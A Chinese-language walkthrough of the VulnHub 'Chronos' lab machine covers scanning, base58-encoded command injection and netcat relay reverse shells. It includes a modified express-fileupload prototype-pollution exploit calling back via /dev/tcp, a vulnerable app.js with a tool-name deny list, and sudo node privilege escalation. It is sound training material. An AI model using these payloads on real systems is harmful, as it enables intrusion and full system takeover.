靶机介绍
1)靶机地址:https://www.vulnhub.com/entry/chronos-1,735/
2)靶机难度:中(构思非常巧妙)
3)打靶目标: 取得 2 个 flag + root 权限
4)涉及攻击方法:端口扫描、WEB侦查、命令注入、数据编解码、搜索大法、框架漏洞利用、代码审计、NC串联、本地提权
5)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
6)参考链接:
①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
②https://blog.p6.is/Real-World-JS-1/
打靶过程
1)主机发现:本次使用netdiscover进行主机发现,该工具原理和arp-scan、arping原理一样,但命令使用格式不同。建议该工具扫描时在真实的子网掩码数-8,效果更好- # netdiscover -r 192.168.56.0/16
复制代码
2)对发现的主机进行全端口扫描- # nmap -p- 192.168.56.110
复制代码
3)对发现的端口进行服务版本等信息扫描- # nmap -p22,80,8000 -sV 192.168.56.110
复制代码
8000端口开放了一个http服务,但是服务端使用了Node.js开发技术,并结合了Express框架
4)使用浏览器访问目标主机的80端口及8000端口
①访问80端口:打开后页面很简单- 浏览器:http://192.168.56.110/
复制代码
注:当页面无法搜集到有用信息时,可以进行网站路径扫描(爬站),把隐藏路径或者隐藏文件爬取出来;另外也可以查看网页源代码(ctrl +U),查看有无隐藏的接口、脚本、表单等
②查看当前页面源码,未发现隐藏的url地址及页面资源,但是发现了一段脚本,包含在了script标签下
③通过查看脚本代码发现,该脚本中包括函数名称和变量名称都是通过编码处理到,导致无法直接分析出代码的含义,此时对javascript代码进行还原美化及整理,可使用cyberchef在线工具,该工具可以针对各种计算机数据类型来做编码、解码、还原、解密等相关操作
A:工具地址:https://cyberchef.cn/
B:使用方法:左侧为模块名称,使用相应模块时,先进行搜索,将模块拖入Recipe后,在Input输入需要解码的代码及字符串。例如:此处使用针对javascript做代码美化的模块,对上述代码进行美化操作
④经过简单美化后的代码,虽然格式整齐了,但是因为函数名称等字符被编码,仍然无法正常读取,出于渗透高效的目的,将重点关注代码中比较容易识别或者一眼看起来就有问题的元素,本段代码中大部分内容都是通过编码处理的,都不太好读取,只有一段URL比较容易读取- http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
- 分析:
- chronos为靶机的名称
- local代表本机
- 8000端口:通过前面端口扫描发现,在本机也开放了8000端口
- 此时可怀疑chronos.local这个域名可能指向了目标主机的IP地址,则有理由怀疑在当前页面加载的过程中,可能会去访问该URL地址,来获取某些页面资源,来放置到页面中
复制代码
⑤为解析上述域名,在hosts文件中进行解析- # vi /etc/hosts
- 192.168.56.110 chronos.local
复制代码
⑥因域名已可正常解析,再次加载页面,查看页面或者源代码是否发送变化:可以发现已正常的显示出了资源- 浏览器:http://192.168.56.110/
复制代码
⑦通过burp,在刷新页面时,将整个页面加载过程全部进行抓取,即访问了哪些地址,加载了哪些资源全部进行记录
⑧通过查看数据包发现,当修改format后的参数后,则无法返回正常的时间
⑨此时就需要对format后的字符进行转发,查看到底是什么内容。通过字符特点可怀疑是base64的编码,将该行字符在cybershef进行转码,此时使用magic模块,可以对其进行转码(magic模块表示当不知道字符是什么编码类型生成时,该模块可以进行简单分析)- http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
- 编码后:4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
- 编码前:'+Today is %A, %B %d, %Y %H:%M:%S.'
复制代码
⑩对该明文进行分析,发现该明文是date命令的时间格式- # date '+Today is %A, %B %d, %Y %H:%M:%S.'
复制代码
5)通过上述验证,可猜测该web应用程序在进行请求服务端数据时,服务端执行的就是该操作系统命令。既然执行了操作系统指令,是否可以通过命令注入的方式通过一些连接符(如|、 ||、 &&)向该变量中注入其他的系统命令- || 前面命令执行不成功,才会执行后面命令
- && 前面命令执行正确,才会执行后面命令
复制代码
6)通过之前的URL可知,注入的命令也必须要通过base58编码,才能被目标系统所接受。所以此时要通过cyberchef 工具,将要注入的命令转化为base58编码后的字符- Input: &&ls
- Output:5Jdixo4
复制代码
7)将编码后的字符,在数据包中进行提交:发现确实存在命令注入漏洞
8)在目标系统执行反弹shell的命令,此时使用nc工具进行反弹shell,因为nc命令使用广泛,很可能在目标主机默认就存在该工具
①查看主机是否具有nc工具- 编码前:&& ls /bin
- 编码后:39JyvVr3FjbwAV
复制代码
查找发现,目标服务器确实存在nc命令
②测试nc命令是否可正常执行,该版本是否有-e参数- 编码前:&& nc 192.168.56.103 4444
- 编码后:GMKWwmxeCKrzqcoDwLeaRS6LtNATnW7thR
复制代码
kali主机进行监听:burp虽然返回了错误的信息,但是kali主机确显示连接成功,说明目标服务器上存在nc,而且nc是可以正常建立网络连接的
③确定该nc版本是否有-e参数进行连接- 编码前:&& nc 192.168.56.103 4444 -e /bin/bash
- 编码后:6eK5JFNT7CahVhdM6iDKHY4Q4b7Knp1DuphZrm7gM2b6zDfbCQPR
复制代码
发送数据包后,发现并不能建立连接,说明该版本nc参数并不包含-e参数,所以只能够采用nc串联的方式进行连接
④通过nc串联的方式进行反弹shell- 编码前:&& nc 192.168.56.103 4444 | /bin/bash |nc 192.168.56.103 5555
- 编码后:WqfXccLfYcuHA6xfwxPgwNU15RA9eAb3P97ZEaZqLpANPu4v7rLTaYetgKEGVY78ptWsqq8aWa4QkbmVpm2
复制代码
⑤kali进行监听:会话1输入的命令返回的数据就会显示在会话2- 会话1:
- # nc -lvvp 4444
- 会话2:
- # nc -lvvp 5555
复制代码
9)反弹shell获取到的权限为www-data用户权限,对当前用户所处的主机进行大量信息搜集,查看是否有敏感目录,flag文件或者其他用户
①在用户文件中发现了imera用户- cat /etc/passwd |grep /bin/bash
复制代码
②进入该用户的家目录发现了一个user.txt文件,但是无权限打开(只有imera用户才能对看文件进行读取)- cd /home
- ls
- cd imera
- ls
- cat user.txt
- ls -l
复制代码
③对当前用户进行提权:
A:基于内核漏洞进行提权,查看内核版本为4.15,针对该版本查到提权漏洞代码,并未发现可用的
B:查看是否具备SUID权限配置上的错误,也为发现任何的suid权限文件- #find / -perm +4000 -user root -type f -print
- #find / -perm +4000 -user imera -type f -print
复制代码 C:当前用户也无发现任何sudo权限10)发现无法提权以后,再次进行大量信息搜集(收集的信息越多,渗透思路越多),搜集发现在网站目录下存在js代码。此处是通过Node.js可进行服务端web程序开发
基于Node.js开发出的应用程序,通常都是基于已有的框架库进行开发,完全使用Node.js开发应用程序难度较高,Node.js常用于开发web应用程序所使用的框架为Express框架(express是一款基于Node.js平台,快速、开放、极简的web开发框架)。在该靶机对web应用程序的源码进行代码审计
11)先查看package.json,因为几乎所有的基于Node.js开发出的项目中,根目录下都包含package.json文件,该文件一般定义了当前项目所需要的模块、框架等
查看发现,该项目依赖了bs58库(即base58编码解码等)、cors库、express框架
12)查看app.js代码- // created by alienum for Penetration Testing
- const express = require('express');
- const { exec } = require("child_process");
- const bs58 = require('bs58');
- const app = express();
- const port = 8000;
- const cors = require('cors');
- app.use(cors());
- app.get('/', (req,res) =>{
-
- res.sendFile("/var/www/html/index.html");
- });
- app.get('/date', (req, res) => {
- var agent = req.headers['user-agent'];
- var cmd = 'date ';
- const format = req.query.format;
- const bytes = bs58.decode(format);
- var decoded = bytes.toString();
- var concat = cmd.concat(decoded);
- if (agent === 'Chronos') {
- if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
- res.send("Something went wrong");
- }
- exec(concat, (error, stdout, stderr) => {
- if (error) {
- console.log(`error: ${error.message}`);
- return;
- }
- if (stderr) {
- console.log(`stderr: ${stderr}`);
- return;
- }
- res.send(stdout);
- });
- }
- else{
- res.send("Permission Denied");
- }
- })
- app.listen(port,() => {
- console.log(`Server running at ${port}`);
- })
复制代码 通过代码分析,发现开发者只是对常见的渗透测试命令进行了检测,但是并未阻断
13)继续通过信息搜集,发现在上级目录,即/opt目录下,存在另外一个应用程序chronos-v2,进入其后端目录backend后,继续查看package.json模块应用配置文件,发现该应用程序服务端主程序为server.js、通过node server.js进行启动这个web应用,ejs表示嵌入式的javascript模板,同样使用了express库,并且从express-fileupload库可猜测既然有文件上传功能,那是否可以通过文件上传,上传一个webshell
14)查看chronos-v2该应用程序服务端主程序源码:发现该应用程序启动在127.0.0.1:8000地址上,这也是为什么前面端口扫描时未发现8000端口开放原因。这个应用只监听在127.0.0.1上,即只有本机才能访问这个应用的8000端口- #cat server.js
- const express = require('express');
- const fileupload = require("express-fileupload");
- const http = require('http')
- const app = express();
- app.use(fileupload({ parseNested: true }));
- app.set('view engine', 'ejs');
- app.set('views', "/opt/chronos-v2/frontend/pages");
- app.get('/', (req, res) => {
- res.render('index')
- });
- const server = http.Server(app);
- const addr = "127.0.0.1"
- const port = 8080;
- server.listen(port, addr, () => {
- console.log('Server listening on ' + addr + ' port ' + port);
- });
复制代码 15)通过搜索引擎发现,express-fileupload模块存在一个漏洞(原型污染漏洞,可致Web应用程序遭受DoS和远程Shell攻击)
在如下链接中找到了漏洞利用代码
①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
②https://blog.p6.is/Real-World-JS-1/
16)根据实际情况,修改漏洞利用代码- # cat exp.py
- import requests
- cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/7777 0>&1"'
- # pollute
- requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
- None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
- # execute command
- requests.get('http://127.0.0.1:8080')
复制代码
17)将该漏洞利用代码传输到目标靶机进行运行
①kali主机开启http服务- # python3 -m http.server 80
复制代码 ②目标主机下载exp.py漏洞利用代码,并利用- cd /tmp
- wget http://192.168.56.103/exp.py
- ls
- python3 exp.py
复制代码
③在kali监听7777端口
18)根据前期信息搜集,发现在imera用户的家目录之下存在一个user.txt的flag文件- #cd /home/imera
- #ls
- #cat user.txt
复制代码
19)对当前imera用户进行提权,通过sudo -l 查看当前用户存在sudo权限:该用户可通过root用户,执行node命令
20)通过node命令进行提权,获取到root用户flag- $ sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
复制代码
总结:针对靶机先进行了主机发现、端口扫描、应用发现等基本操作,然后在web页面发现了奇怪的域名,于是进行了名的绑定,并在域名绑定后查看到了页面的变化,通过对页面源码的分析,找出了javascript的脚本,然后发现了经过base58编码的字符,通过对字符还原的分析,发现了命令注入漏洞,进而通过base58编码注入命令,对目标系统执行了命令注入,获得了一个基础的nc反弹shell。通过搜索找当了目标系统上应用的一个框架的漏洞,利用漏洞利用代码进行了利用,提权。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |